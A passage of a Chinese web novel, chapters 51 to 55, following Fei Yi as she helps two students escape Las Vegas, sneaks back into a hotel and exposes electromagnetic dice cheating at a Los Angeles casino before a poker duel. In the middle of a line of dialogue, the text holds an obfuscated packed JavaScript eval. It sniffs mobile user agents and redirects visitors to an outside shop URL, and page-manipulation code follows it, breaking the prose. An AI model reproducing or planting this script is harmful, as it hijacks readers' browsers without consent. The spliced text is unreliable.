他下意识地顺着那股力道站起身,脚步轻飘飘的,像踩在棉花上。 周遭的痛哼声、远处的车声、风掠过墙面的沙沙声,好像都忽然变得很远。 他眼里只剩她侧脸轮廓,鼻尖萦绕着那股冷香,手腕上的触感挥之不去,连心跳声都震得耳膜发响。 “喂!等等我!” 奥利弗后头喊了一声,慌慌张张抱起地上的背包,吭哧吭哧地追上来。 他看着前面好友僵直的后背,偷偷翻了个白眼,平时看着挺机灵的,怎么见了美女就成呆瓜了。 菲伊拉着两人七拐八绕,穿过两条僻静的后街,确认身后没人追来,才在一处种着棕榈树的街角停下。 这里离主街不远,却意外的安静,暖黄色的路灯落下来,把三个人的影子拉得很长。 她松开手,抬手摘脸上的面具。银纹面具从脸上滑落,露出整张脸来。 长眉微挑,眼尾带着一点天生的锐感,墨色瞳仁落进暖黄的路灯光里,漾开一层温软的光晕。 脸上没什么表情,五官却生得柔美,刚才打斗时的凌厉劲儿尚未完全消散,反衬得脸上多了几分矜贵的明艳。 “我叫菲伊·温斯洛。”她把面具随手放进手包,抬眼看向两人,微微一笑,“刚才在赌场见过你们。” 林砚的脸“唰”地一下就红了。 他的目光刚撞上她的眼睛,又慌忙错开,耳朵尖瞬间烧得发烫。刚才被她握过的手腕好像还留着那点微凉的触感,他下意识地蜷了蜷手指。 “我、我叫林砚。” 他听见自己的声音有点发飘,说完又恨不得咬自己舌头,怎么连句完整的话都说不利索了。 奥利弗压根没察觉好友的魂都快飘没了,一拍大腿,胖脸上满是掩不住的兴奋: “我叫奥利弗·史密斯。我说刚才在赌场看着眼熟呢,原来咱们早就照过面。温斯洛小姐,你也太厉害了吧!八个壮汉,还有一个带枪,你三两下就全撂倒了,比好莱坞大片里的特工还酷!” 菲伊淡淡一笑,随后叮嘱道:“你们得尽快离开拉斯维加斯。我怀疑杰克背后的人,就是阿兰达的老板。” 林砚一听这话,立刻明白过来,眉头微蹙:“因为那个荷官?” “不止。”菲伊缓缓摇头,神情多了几分凝重,“你们刚出酒店就被盯上了。这些人随身带枪,行事肆无忌惮,绝不是普通街头混混。 阿兰达是拉斯维加斯排得上号的赌场,不可能任由外来势力在自己地盘上明目张胆地绑客人。否则,一旦传出客人在酒店周边被劫,他们的生意也就不用做了。” 她顿了顿,笃定道:“所以只有一种可能,这些人本身就是赌场的人。至于杰克,我猜他只是个被人推到台面上的傀儡。 赌场捧出这么个假赌王,无非是想靠噱头引流,赚黑心钱。你们当众拆穿了他,等于砸了他们的场,不趁早走,后患无穷。” 说着她低头扫了眼自己这身酒红色丝绒长裙,面料华贵、颜色扎眼,走在街上回头率十足,这条街虽然人少,但也不能停留太久。 “你们的证件和贵重物品都随身带了吗?” 两人齐齐点头。 “那就别回酒店了,现在直接去机场,连夜走。” “那你呢?”林砚脱口而出,脸上带着自己都没察觉的关切,“你也跟我们一起走吧!” “我还有东西落在酒店里,得回去取。”菲伊随口找了个借口。 她用真实身份订了两晚房,要是凭空消失,酒店第一个就会查到她头上。她招惹的麻烦已经够多了,不想又惹上赌场这股势力。 好在这年月还没监控,她是从酒店侧门跟着两人出来的,没什么人撞见。只要回去时避开赌场的人,他们就没那么容易怀疑到她头上。 “我……”林砚喉结动了动,指尖攥了攥衣角,声音有点发紧,“今天谢谢你救了我们。等我们到了安全的地方,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842808|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ……怎么联系你?” 话刚说完他就慌了,连忙摆手补充,“你别误会!我就是想当面好好谢谢你,没有别的意思!” 话越说越乱,他的耳朵尖又开始发烫。 菲伊看着他窘迫的样子,“噗嗤”一声笑了出来:“想谢我很简单,帮我一个小忙就行。” “什么忙?你尽管说!”奥利弗立刻往前凑了半步,拍着胸脯接话,“救命之恩,我们绝不含糊!” “我后天有一场赌约,但我此前从未上过赌桌。这次来拉斯维加斯,就是想练练手。”菲伊道。 “后天?”奥利弗有些诧异,“时间这么急,现在才来练习,会不会太晚了?” 菲伊苦笑:“没办法,赌约是昨天才定下的。所以我想找一个高手,取取经。” 她说着,看向林砚,“我觉得你就挺厉害的,你能教教我吗?” 林砚的脸更红了,忙不迭地点:“当、当然没问题。我一定竭尽所能!只是……一天的时间,真的够吗?” “临阵磨枪,不快也光。”菲伊扯了扯嘴角,轻声叹道,“尽人事,听天命吧!” “好。”林砚重重点头。 菲伊随口又问:“对了,你们还是大学生吧?” “对对对!”奥利弗胸脯一挺,“我们是加州大学伯克利分校大三的,计算机专业!” “巧了,我住在洛杉矶,离你们学校不算远。” 菲伊话音刚落,林砚立刻接道:“那我们去洛杉矶等你!” 奥利弗倏地转头看他,眼睛瞪得溜圆,脸上明明白白写着“兄弟你没事吧”。要知道,伯克利在北加,飞奥克兰才是正道,如果往洛杉矶飞就绕路了,得多坐五六个小时的车! 林砚暗地里狠狠掐了一把他的大腿,眼神使劲往旁边递,硬生生把奥利弗到了嘴边的吐槽给掐了回去。 菲伊没拆穿两人的小动作,报出一串电话号码:“这是我的联系方式。你们到了洛杉矶,确认安全了再打给我。” 说完她没再多留,转身就融进了街角的夜色里。 林砚站在原地,盯着她消失的方向看了好久,直到肩膀被奥利弗重重拍了一下才回过神。 “喂,看傻了?”奥利弗挤眉弄眼地撞了撞他的胳膊,“说实话,是不是看上人家了?” “别瞎说。”林砚立刻别过脸,嘴硬道,“我就是觉得她人很酷,而且还救了我们,心存感激!” “感激?”奥利弗嗤了一声,“我看你的魂都被勾走了。” 两人拌着嘴,快步往机场的方向走去。 52.第52章 另一边,菲伊绕了两条街,折回阿兰达酒店的侧门,面具早就被她扔进了几条街外的垃圾桶里。 可刚靠近巷口,她就顿住了脚步。 原本空无一人的侧门,此刻笔直站着两个穿黑西装的保安,手电筒的光时不时扫过巷口,戒备森严。 这条路走不通了。 她又悄无声息地绕到酒店后门。 这里本来是员工通道和后勤卸货口,平日里只有货梯和厨房人员出入,这会儿也站了两个保安,正盘查进出的工作人员。 连后门都守得这么严,大堂正门只会查得更紧。 菲伊不是没想过找地方换身行头、化个妆再混进去,可眼下这身酒红色丝绒长裙太过扎眼,无论去商场还是商店,都容易给人留下深刻印象。 赌场的人只要顺着线索一查,她的身份很快就会暴露。 硬闯显然更不现实。菲伊观察了片刻,转身钻进了后门对面的灌木丛里。 夜里的灌木丛蚊虫多得离谱,她往枝叶后头一蹲,纯纯是送上门的单人份夜宵。 不过两个多钟头,她露着的皮肤就没一块好地方,红包摞着红包,那股痒劲儿直往骨缝里钻。菲伊咬牙忍着没去挠,心里却无比想念老家的花露水和风油精。 这时候要是能往手腕脚腕各抹上一圈,那凉丝丝的劲儿顺着皮肤窜上来,什么毒蚊子包都得当场歇菜,哪用在这儿遭这份活罪。 就在她第八百零一遍问候蚊子的祖宗十八代时,远处忽然亮起两道晃眼的车灯,引擎的轰鸣声由远及近。菲伊眯着眼睛仔细一看,是辆印着生鲜公司logo的冷藏运输车,正朝这边驶来。 不由精神大振—— 终于来了! 生鲜运输车晃晃悠悠地开过来,在离后门不到两百米时,忽然一个急刹车。 司机骂骂咧咧地推开车门跳下来,对着路中央那块半人高的石头骂个不停: “哪个缺德的把石头放路中间!脑子有病啊!” 他骂归骂,这货还是得送啊,只好撸起袖子,吭哧吭哧地把石头往路边搬。 这块石头沉得离谱,他费了九牛二虎之力才挪开,累得直喘粗气,压根没注意到一道纤细的人影趁着他背对运输车的功夫,身形一矮,飞快钻到了货车底盘下面,手指死死扣住了底盘的钢架。 后门的保安听见动静,打着手电筒走了过来:“怎么回事?” “送货的。”司机擦了把汗,指了指路边的石头,“不知道谁把石头扔路中间了,刚搬开。” 保安用手电筒扫了扫路面,又漫不经心地照了照车身,光束晃得很快,没发现异样。 他接过司机递来的送货单,对着对讲机核对了一遍单号和货品,没查出问题,便挥挥手放行。 货车缓缓驶过门禁,开进了酒店后厨的卸货区。 司机停好车,进去叫后厨帮工搬货。趁着四下无人,菲伊手脚麻利地从车底滑出来,身影一闪,就钻进了后厨堆放食材的储物间,顺着安全通道的楼梯,悄无声息地往楼上而去。 …… 沙漠的天光总比城市醒得早。 天际线刚浮起一层灰橘色,整夜未熄的霓虹还剩点淡粉的残光,套房里还裹着整夜空调留下的凉意。 菲伊对着穿衣镜扣上最后一粒纽扣。 此刻的她,上身是一件驼色阿玛尼廓形西装,内搭白衬衫,颈间松松系了条暗纹丝巾,刚好遮住脖颈上被蚊子叮出的红痕。 她特意换了深一号的粉底,把原本冷白的肤色压暗了些,眉毛画得英气锋利,口红也换成了低调的裸棕调。 整个人是干净飒爽的中性商务风,眉眼间的冷艳褪去大半,活脱脱一个常年往返各地的都市丽人,和昨晚那个性感女人判若两人。 倒不是她故意捂得严实,实在是胳膊、脚踝、后颈全是蚊虫叮的红包,又红又痒,只能靠长袖长裤遮着。 顺带换个风格和妆容,正好躲开赌场的眼线,一举两得。 她拎着行李箱大大方方乘电梯下楼,走到前台办理退房。前台接待核对完订单信息,抬头笑着递回收据,全程眼神里没有半分异样。 出了酒店大门,她随手拦了辆出租车。司机是个留着短脏辫的黑人老哥,看见她拉开车门坐进来,立刻咧嘴一笑露出白牙,一口地道的唠嗑腔调:“嘿,小姐,去哪儿?” “麦卡伦机场。” 车子平稳驶上大道,司机从后视镜里瞟了她两眼,忍不住搭话:“看你这一身打扮,是来出差的吧?昨晚住阿兰达?哎哟,那你可赶上拉斯维加斯今年最大的热闹了!” 菲伊靠在椅背上,故作疑惑地抬了抬眼:“热闹?我昨晚很早就休息了 ,没听说什么事。” “我的天,这你都没听见?!” 司机瞬间来了精神,手拍了下方向盘,语速快得像打机关枪。 “后半夜赌场都闹翻天了!就是那个最近吹得神乎其神的赌王杰克,知道吧? 好家伙,居然是个彻头彻尾的骗子!跟赌场的荷官串通好出老千,还有个同伙混在客人里打暗号,结果被两个毛头小子当场拆穿了!” 他说得绘声绘色,连手势都跟上了:“你敢信吗?荷官袖子里藏牌,底下那人敲桌子传花色、摆酒杯传点数,配合得那叫一个溜,骗了不知道多少有钱人。昨晚被当场抓了现行,袖子里的牌都翻出来了,证据确凿!” “那之后呢?”菲伊顺着话头问。 “之后?之后可就乱了套了。”司机啧啧两声,“在场的赌客当场就闹起来了,好多之前输过钱的,当场就喊着要赌场赔钱。消息传得比风还快,后半夜乌泱泱涌过来好多人,全是之前在杰克手里输过钱的,堵着赌场大门要说法。 还有其他几家赌场,趁机落井下石,放出话说杰克之前也去他们场子骗过钱,全是阿兰达在背后搞的鬼。” 菲伊假装惊讶地捂住嘴:“真的假的?真是阿兰达在搞鬼?” 司机嗤笑一声,摇摇头:“谁知道呢!但出老千的荷官是他家的正式员工,这点是赖不掉的。” 他说着,从后视镜里冲菲伊挤了挤眼睛,语气里带着点看热闹的幸灾乐祸,“再说了,就算不是他们主使的,别家赌场能放过这落井下石的好机会? 铁定一口咬死就是他们干的啊!所以啊,阿兰达这次注定要栽大跟头。赔多少钱都是小事,在赌城混,最讲个公平信誉,出了这种事,以后谁还敢来?没个一年半载,根本缓不过气来。” 菲伊听着,嘴角忍不住微微上扬。昨晚蹲灌木丛喂了俩小时蚊子的鸟气,听完这几句话后,立马散得一干二净。 虽然有些波折,此行的目的好歹达成了,还顺便看了场热闹,这波属实不亏。 车子很快停在机场出发口。计价器上跳着二十二美元,菲伊抽出三张十美元递过去,语气平淡:“不用找了。” “哇,谢谢小姐!祝你一路顺风!”司机喜出望外,殷勤地帮她提下箱子。 菲伊拎着行李箱走进玻璃门,脚步比来时轻快了几分。 53.第53章 一天后,洛杉矶市。 凯撒赌场坐落在繁华的威尔希尔大道上,是洛杉矶数得上号的赌场之一。 整栋建筑是新古典主义风格,外墙是浅灰色石材,显得庄重气派。入夜后,暖金色的灯带沿着建筑轮廓铺开,门楣上的“CAESAR”霓虹招牌亮起。 乍一看没有拉斯维加斯那般张扬炫目,却自带一种老牌赌场的气场。 门口站着穿制服的泊车员,往来的不是西装革履的富商,就是带着助理的好莱坞小明星,连风里都飘着金钱的味道。 距离和曼尼奇的赌约还有一个小时,菲伊推开赌场大门走了进去。 内部是挑高六米的中庭,抛光大理石地面映着头顶的水晶吊灯,暖光铺洒在深红绒布赌桌上。 时间还早,人不算多,不论是员工还是宾客,视线在菲伊身上停留片刻,便很快移开了,虽然是个生面孔,实在没什么值得注意的。 也不怪人家没兴趣,就菲伊这一身打扮:做旧的牛仔夹克,内搭黑色紧身背心,下身是军绿色工装裤外加厚底马丁靴,头发编成半马尾脏辫,眼睛化着烟熏妆,嘴唇涂成姨妈紫。 整个人往那儿一站,活脱脱一个混迹街头的叛逆少女,透着一股“别惹我”的劲儿。 赌场里这种年轻人见得多了,兜里揣着三瓜俩枣,就妄想一夜暴富,早已见怪不怪。 打死他们也想不到,这看着像来碰运气的野丫头,就是过会儿要跟赌场老板上桌赌一把的人。 菲伊刚在兑换处换了筹码,人群里就悄无声息地混入了两个男人。 走在前面的是老熟人雷蒙,穿黑色连帽衫加牛仔裤,像个普通的游客。 后面跟着的叫莱斯特,穿一身休闲灰西装,戴金丝边眼镜,活像来谈买卖的生意人。 两人迅速分散开,混入人群,看似各玩各的,眼角余光早把赌场的岗哨分布、逃生通道、保安站位摸得一清二楚。 他们都是菲伊从阿利斯泰尔那里借来的人手,一个擅长格斗,一个常年在洛杉矶灰色地带游走,足够应付今天的场面。 菲伊心里清楚,曼尼奇在道上混迹多年,名下的赌场不可能干净。 老祖宗说得好,知己知彼,百战百胜。 所以特意提前来踩点,先摸摸这赌场的底,如果能抓到点实打实的把柄就更好了。等赌局开了,才能先发制人,让自己占据主动权。 昨天借着讨教赌术的由头,菲伊对林砚算是有了初步的了解。 他并非那些混迹赌场多年的老油子,之所以能在拉斯维加斯大放异彩,全靠老天爷赏饭吃:数学天赋拉满,心算速度比计算器还快,观察力和判断力极强。 这些特质随便一个单拎出来,已经胜过不少赌场老油条,更何况同时集中在一个人的身上,只要能克制住贪婪,在赌桌上几乎无往不利。 菲伊自认观察力和判断力并不输林砚,唯有数学天赋略逊一筹,可她有多年高强度华国基础教育打底,计算能力虽比不上林砚这种天赋异禀的,应付赌桌上算牌、算概率却绰绰有余。 因此,她暂时不租借林砚的天赋能力,打算自己先试试水,看看自己不使用系统这个金手指,能不能应对今天这个局。 菲伊揣着筹码慢悠悠地逛,故意装成一个什么都不懂的新手。 先在老虎机区拍了半小时,咋咋呼呼地输了几把,又中了个小奖,乐得吹了声口哨。 接着挪到二十一点桌,时而冲动下注,时而皱着眉犹豫半天,有输有赢,总体只小赚了一点,完全就是个运气不错的菜鸟,连荷官都没多留意她。 一圈逛下来,她并没有发现这家赌场里有明显的作弊行为。 曼尼奇真的会这么老实? 菲伊暗暗撇嘴,她偏不信这个邪。 很快,她逛到了骰宝(SicBo)区。 桌前围了不少人,荷官是个面无表情的白人男性,摇骰盅的手法娴熟利落。菲伊抱着胳膊站在边上,静静看了八局,指尖在身后默默算着概率。 正常公平的骰宝里,排除围骰,开大、开小的概率各接近50%,短期或许有波动,绝不可能出现系统性偏差。 可这八局里,有五局都是筹码压得多的一方落败。其中三次重注堆在“大”上,结果精准开小,一次大额筹码压“小”,偏偏开出了大。 一次是巧合,两次是运气,八局里五次精准避开重注区,绝对不正常。 菲伊不动声色地挤到前排,换了筹码跟着下注。她故意下小注,跟着大流走,输输赢赢间,眼睛始终盯着荷官的动作。 又开了三局,规律更明显了:每当某一边注码堆到一定厚度,荷官按骰盅的手腕总会极细微地顿一下,一秒都不到,随即开盅,结果必然是注码更少的那一边。 不像是手法出千,更可能是用了某种科技狠活。 菲伊心里有了数。她往前倾了倾身,装作凑过去看桌布上的赔率线,手里的几枚筹码“不小心”一滑,叮叮当当滚到了桌子底下。 “啧,真麻烦。”她嘟囔了一句,弯下腰钻进桌底,借着捡筹码的功夫抬眼往荷官的方向看去。 桌底光线昏暗,地毯铺得平整,可就在荷官右脚正下方,有一块极不显眼的微微隆起,像藏了个扁扁的按钮。 对方的皮鞋鞋尖正轻轻抵在那处,发力的姿势藏得极好,站在桌前根本察觉不到。 抓到把柄了。 菲伊无声吹了个口哨,迅速捡起筹码,重新站回到赌桌前。 此时荷官刚拿起骰盅,手腕抬起准备摇下一局。 菲伊扬声道: “等等。” 荷官动作一顿,抬眼看向她,眉头微皱:“这位小姐,有什么问题吗?” “问题大了。”菲伊把手里的筹码往桌上一扔,金属撞击绒布发出沉闷的声响,“这骰子有问题,你们赌场出老千。” 一句话落地,桌旁瞬间安静了几秒,随即炸开了锅。周围的赌客纷纷侧目,议论声嗡嗡地响起来。 “出老千?真的假的?” “凯撒这么大的场子也干这种事?” 荷官的脸立刻沉了下来,语气冷了八度:“小姐,请你不要恶意诽谤。凯撒赌场是正规持牌经营,所有赌具都符合加州博/彩委员会标准。你再胡说,我们只能请保安过来了。” “正规经营?”菲伊嗤笑一声,“正常骰宝,大小概率各占一半,长期偏差不会超过5%。我在这站了十一局,有八局结果都偏向筹码更少的那一边,偏差超过70%。如此概率,别说正常赌场,就算是赌神在世也做不到吧?” 她抬眼看向荷官,目光锐利,“唯一的解释只有一个——这一切并非运气,而是人为操控!” 荷官的脸色瞬间白了几分,眼神慌乱地闪了一下,嘴上却依旧硬撑:“你 血口喷人!空口无凭,有什么证据?” “证据?”菲伊挑了挑眉,拿起桌上一枚备用骰子掂了掂,心里有了底,“想要证据是吧?简单!” 她目光扫过周围人群,“哪位朋友身上带了小刀、钥匙之类的铁制品?借我用一下。” 话音刚落,旁边一个男人抬手扔过来一把折叠钢刀:“女孩,接着!” 菲伊抬手接住,话不多说,展开刀刃,捏着刀柄缓缓靠近投骰区。 就在刀尖离底座还有半厘米的时候,指尖忽然传来一股清晰的吸力,钢制刀刃“嗒”地一下,就被瞬间吸附过去,牢牢贴在投骰区的桌面上。 周围一片惊呼。 “看见了?”菲伊抬手把刀扯下来,晃了晃,“骰子里嵌了微型磁铁,桌板底下装了电磁线圈。荷官脚踩地毯下的开关,通电产生磁场,就能让骰子精准翻转到想要的点数。哪边下注多就开哪边的反面,稳赚不赔。” 她又弯腰指了指荷官脚边地毯那处微不可查的隆起:“开关就在那儿,踩一下通电,松断电。动作藏在桌子底下,又有桌布遮挡,旁人很难发现。” 铁证摆在眼前,赌客们顿时炸了锅。 怒骂声、质问声此起彼伏,有人当场掀了手边的筹码盘,喊着要赌场赔钱。 几个保安挤过来想维持秩序,反而被情绪激动的人群推得连连后退,场面眼看着就要失控。 就在这时,人群外传来一串急切的脚步声,赌场经理带着七八个穿黑制服的保安挤了进来,个个手里攥着橡胶警棍,脸色阴得能滴出水来。 “把那几个起哄最凶的先按住!”经理一挥手,保安立刻冲上去,架住了两个喊得最大声的赌客,反手就往身后拧。 人群安静了几分,不少人怕惹麻烦,下意识地往后缩了缩。 经理这才转头,目光狠狠钉在菲伊身上,上前两步,一把抢过菲伊手里的折叠钢刀,捏着刀柄在众人眼前晃了晃,“大家看清楚了!这刀根本就是他们提前备好的道具,故意往骰盅上一贴,就敢说有磁铁?演这么一出戏,就是想败坏我们凯撒的名声!” 他说得义正词严,倒像是真抓住了对方的把柄。借刀的男人当场就急了:“放屁!这刀是我自己随身带的,我根本不认识她!” 经理斜睨他一眼,不由分说道:“这俩人是一伙的,把他们一起带走!我倒要看看是谁派来砸场子的!” 保安应声扑上来。就在指尖快要碰到菲伊肩膀的刹那,两道人影从人群里猛地窜出来。 雷蒙伸手扣住最前面保安的手腕,“咔嚓”一下,对方警棍应声掉下去,人也被顺势掀翻在地。 另一边的莱斯特也没闲着,侧身躲过挥来的警棍,手肘重重撞在对方胸口,那人闷哼一声,直接蜷在了地上。 不过两三秒的功夫,冲在最前面的四个保安全横七竖八倒在了地上,痛哼着爬不起来。两人一左一右站在菲伊身前,像两堵结实的墙,把她牢牢护在身后。 经理先是一愣,随即像是抓住了天大的把柄,指着他们气得声音都变了调:“好啊!还带了同伙!果然是有备而来故意闹事!都给我上,把他们全抓起来!” 周围待命的十几个打手闻言,立马抄着家伙从四面八方围上来,狭窄的骰宝区立刻被挤得水泄不通,眼看就要乱成一团。 忽然,人群外传来一道低沉的喝止: “住手。” 54.第54章 众人纷纷回头。 就见曼尼奇在一队人马的簇拥下缓步走过来。他脸上没什么表情,眼神却阴沉如水,所过之处,人群自动分开一条路。 数分钟前,他正在楼上办公室里玩牌,却听下属汇报楼下发生骚乱。 本以为只是个输红了眼的赌客胡搅蛮缠,直到调出监控画面,才发现不对劲。 屏幕里,穿牛仔夹克、编着脏辫的女孩弯腰捡筹码,抬眼时眸中闪过一丝兴味。曼尼奇指尖的雪茄顿了顿,让手下把镜头拉近,对准那张画着烟熏妆的脸。 几秒后,他嗤笑了一声,捻灭了雪茄。 是菲伊·温斯洛。 这妞换了身皮就闯进他的地盘撒野,摆明了是来提前砸场子的。 很快,他心里就有了盘算。整了整衣领,起身慢悠悠地往楼下走。 见惊动了老板,经理擦了擦头上的冷汗,脸上堆起笑,快步迎上去:“老板!您怎么下来了?这几个人是来闹事的,我正让人把他们抓起来——” 话没说完,“啪”的一声脆响,曼尼奇一巴掌狠狠扇在了他脸上。 力道极大,经理被打得偏过头去,嘴角立刻渗出血来。他整个人都懵了,捂着脸不敢置信地看着曼尼奇。 “混账东西!”曼尼奇怒斥道,“我让你管赌场,你就是这么管的?!伙同荷官在赌具上做手脚,中饱私囊,现在还想倒打一耙,把客人都当傻子糊弄?” 经理脸色“唰”地就白了,腿一软差点跪下去:“老板,我没有!是他们……” “还敢狡辩?!”曼尼奇的眼神骤然冷了下来,轻轻抬了抬手。 身后的随从立刻上前,按住了经理和荷官。 两人脸色煞白,挣扎着想辩解,就被死死堵住嘴。 曼尼奇已从随从的腰间抽出一把短刀,“我曼尼奇开赌场二十年,最讲公平二字。有人敢背着我在赌具上动手脚,就是砸我的饭碗!” 说罢,手起刀落,两只右手齐齐落在地上,鲜血瞬间洇开一片暗红。 经理和荷官惨叫着滚在地上,痛得浑身抽搐。 周围的赌客全都看傻了,连怒骂都忘了。 “拖出去,永远不准再踏入赌场半步。”曼尼奇收了刀,随手擦了擦溅到袖口的血,语气平淡得像在扔垃圾。 处理完两人,他才重新转向众人,扬声道:“各位,今天的事,是凯撒赌场监管失职。这两个人欺上瞒下私设机关,所有后果,赌场一力承担。” 他顿了顿,声音清晰地传遍全场,“今晚所有在这桌输了钱的客人,全额退款,再赔付双倍筹码。其他区域的客人,每人赠送两千美元筹码,算是我曼尼奇给大家赔罪。” 话音落下,全场先是一静,随即爆发出一阵哄然。 原本的怒火随之烟消云散,就算原本有些想趁机闹事的,看到曼尼奇手段如此血腥狠辣,此刻也不敢再出声,反而纷纷称赞曼尼奇做事大方爽快。 处理完这一切,曼尼奇才缓缓转头,看向菲伊。他嘴角扯出一抹意味不明的笑,目光在雷蒙和莱斯特身上转了一圈,又落回菲伊脸上: “温斯洛小姐,提前大驾光临也不打声招呼,底下的人有眼不识泰山,怠慢了可不好!” 菲伊眉峰微扬,知道对方已经认出自己,索性不装了,双手往工装裤口袋里一插,懒洋洋道: “这不是想送你一个惊喜吗?不知这份见面礼……曼尼奇先生可还满意?” “惊喜?”曼尼奇舔了舔后槽牙,皮笑肉不笑,“满意,当然满意。温斯洛小姐帮我揪出赌场里的蛀虫,我感激还来不及。” 他顿了顿,“既然人都到了,大家也别浪费时间了。赌局,不如现在开始?”然后抬手做了个“请”的手势,“楼上有贵宾包间,安静,也没人打扰。” 菲伊却没动,下巴微微一抬,指向不远处:“那儿不就有空桌吗?大厅敞亮,看着也热闹,何必跑到楼上去。” 曼尼奇眼神暗了暗,心道:这小妞行事倒是谨慎。 他若是执意要去楼上包间,倒显得自己心虚。思忖片刻后,他笑道:“也好,温斯洛小姐喜欢热闹,那就依你。” 随从立刻上前,麻利地清出一张□□长桌,换上全新的牌具与筹码。 菲伊这才迈步往那边走,雷蒙和莱斯特紧随其后跟,三人看着人少,派头却不小。 周围的赌客见状,好奇心被勾到了顶点,纷纷停下手里的牌局,三三两两地围拢过来。 曼尼奇颇为绅士地为菲伊拉开座椅,等菲伊落座后,这才走到对面座椅坐下。 荷官看了曼尼奇一眼,后者微微颔首,“开始吧!” 荷官刚要洗牌,就听菲伊开口: “慢着。”曼尼奇抬眼看她:“怎么,温斯洛小姐还有别的顾虑?” “倒也不是顾虑。”菲伊笑了笑,“就是刚在骰宝桌见识了那么一出,我这人胆子小,心里总有点打鼓。曼尼奇先生当然是光明磊落的,可谁知道底下还有没有第二个第三个蛀虫?万一再有人在牌桌上动手脚,我找谁哭去?”< /p>她摊了摊手,半开玩笑半认真:“就当我以小人之心度君子之腹吧。这牌桌、牌具、荷官,总得让我们检查一遍,我才能安心。曼尼奇先生是大老板,应该不会跟我这点小心思计较吧?” 这话绵里藏针,句句戳在要害上,把曼尼奇差点气笑。 这丫头先是砸了他的场子,现在又拿“蛀虫”说事,一连串操作下来,当真是好算计。 如果自己真做了手脚,自然不愿被查。可当着这么多宾客的面,如果拒绝检查,不就证明了自己心里有鬼? 到时他好不容易平息的怒火就会复燃,这场赌局不用开就先输了,毕竟自己耍手段在先,而赌场的声誉也将彻底葬送。 可惜,她这算盘打错了。 他曼尼奇在赌场里混迹多年,一手牌技在洛杉矶排得上号,对付这么个初出茅庐的丫头,还犯不着搞那些小动作。 “好啊。”曼尼奇靠回椅背,伸手做了个“请便”的姿势,“温斯洛小姐尽管查。查得越仔细,越能还我凯撒赌场一个清白。” 菲伊冲莱斯特递了个眼色。 莱斯特立刻上前,先是俯身检查桌板正反面、桌布夹层,又拆开全新的纸牌、筹码逐一核验,最后抬手示意荷官起身,从头到脚仔细搜了一遍,连袖口、衣领都没放过,确认没有藏牌与机关。 “曼尼奇先生呢?”菲伊抬眼看向对面,笑意浅浅,“不是我不信你,就是走个过场,免得回头有人说我输了赖账。” 曼尼奇也不废话,直接起身脱下外套扔给身后的随从,又把衬衫袖口一路卷到小臂,摊开双手转了半圈:“这样够清楚了?” “公平起见,我也一样。”菲伊说着,抬手脱掉牛仔夹克,随手搭在椅背上,只剩一件贴身黑色背心,自然也没有任何藏牌的地方。 双方都亮明了姿态,再无半分可藏私的余地。 就这么一会儿的功夫,赌桌周围已经围了里三圈外三圈。 后来的客人不明所以,扯着身边的人问,立刻就有老看客眉飞色舞地科普: “这妞厉害的很!刚把骰宝桌的磁铁作弊给拆穿了,曼尼奇老板亲自下来处理的,现在要跟老板对赌梭/哈!” “这么猛?看着年纪不大啊!” “谁知道呢,搞不好就是虚张声势而已。” “管那么多干嘛,有戏瞧不就行了!” “说的也是。” 议论声嗡嗡地响,不少人都踮着脚往里望,兴致勃勃地等着这场针尖对麦芒的赌局开场。 55.第55章 桌上,荷官已经开始洗牌。 菲伊和曼尼奇面前各码着整整齐齐一百枚筹码。 规则很简单:七牌梭/哈对战,不设局数上限,谁先输光面前全部筹码,便输掉整场赌局。 系统忽然开口了:【你真的不租借林砚的数学天赋?】 菲伊:【先不租。昨天和他对弈了20局,我们输赢各半。我算概率、记牌速我确实不如他,但梭/哈拼的从来不只是算力,更是人心。更何况——】 她目光不着痕迹地扫过对面曼尼奇松弛的状态,在心底补了后半句,【你没发现吗?曼尼奇已经入套了。】 对面的曼尼奇自然听不见这番对话。他看菲伊正襟危坐,面色紧绷,心里的轻视又多了两分。 “温斯洛小姐,咱们当初说好的赌注,没忘吧?” “当然。”菲伊抬眼看他,淡然道,“我都记着呢,绝不反悔。就看曼尼奇先生说话算不算数。” “我曼尼奇在洛杉矶混了几十年,从未食言过。”曼尼奇冷笑一声,朝荷官抬抬下巴,“发牌。” 荷官闻言,先给两人各发了两张暗牌——牌面朝下,只有自己能掀起来看。 紧跟着又各发一张明牌,牌面朝上,亮在所有人眼前。 菲伊先掀开自己的暗牌,目光飞快掠过牌面,一张是方块Q,一张是没用的梅花2。 而她明牌是张方块8。 牌力不算强,但藏着同花顺的可能性。 对面,曼尼奇的明牌是张梅花9。 他只扫了一眼自己的暗牌,面上没露出半分情绪。事实上,他暗牌里卧着一对10,起手就是硬牌,开了个好局。 “首轮明牌小者,需下强制注。”荷官声音平板地开口。 菲伊指尖捏着两枚筹码,指腹蹭了蹭筹码边缘,像是有点舍不得,慢悠悠地把筹码推到桌中央。 曼尼奇靠在椅背上,姿态松垮,随手就扔出去五枚筹码,加注的意思再明白不过。 菲伊皱了皱眉,像是在心里算了半天划算不划算,末了还是咬着唇补了筹码跟上。 桌中央的筹码堆高了些,围观的人窃窃私语,都觉得这姑娘胆子不小,起手牌这么差也敢跟,多半是个不懂行的新手,全凭着一股气硬撑。 第二张明牌发下来。 菲伊拿到一张方块9,明牌变成了方块8、方块9,两张同花色连号,看着似乎有了点盼头。她眼睛亮了一下,随即又抿紧唇,像捡到点小甜头又怕亏的样子。 曼尼奇拿到一张方块10,明牌是梅花9、方块10,数字连着,高牌压过菲伊一头。 按照规则,从第二轮开始,明牌大者先下注。 他没客气,直接推出去六枚筹码,不紧不慢地抬价。 在他看来,对方最多就是想凑个同花,概率低得可怜。慢慢压,总能把这丫头的筹码一点点榨干。 菲伊盯着自己的两张方块,手指在筹码堆上顿了顿。 脑子里飞快计算着:牌库还剩四十四张,她现在有三张方块,分别是8、9、Q,能凑成同花的方块还剩十一张,可要是想凑同花顺,还差方块10和方块J…… 后面还要发三轮牌,能双双落到自己手里的概率,低得几乎可以忽略。 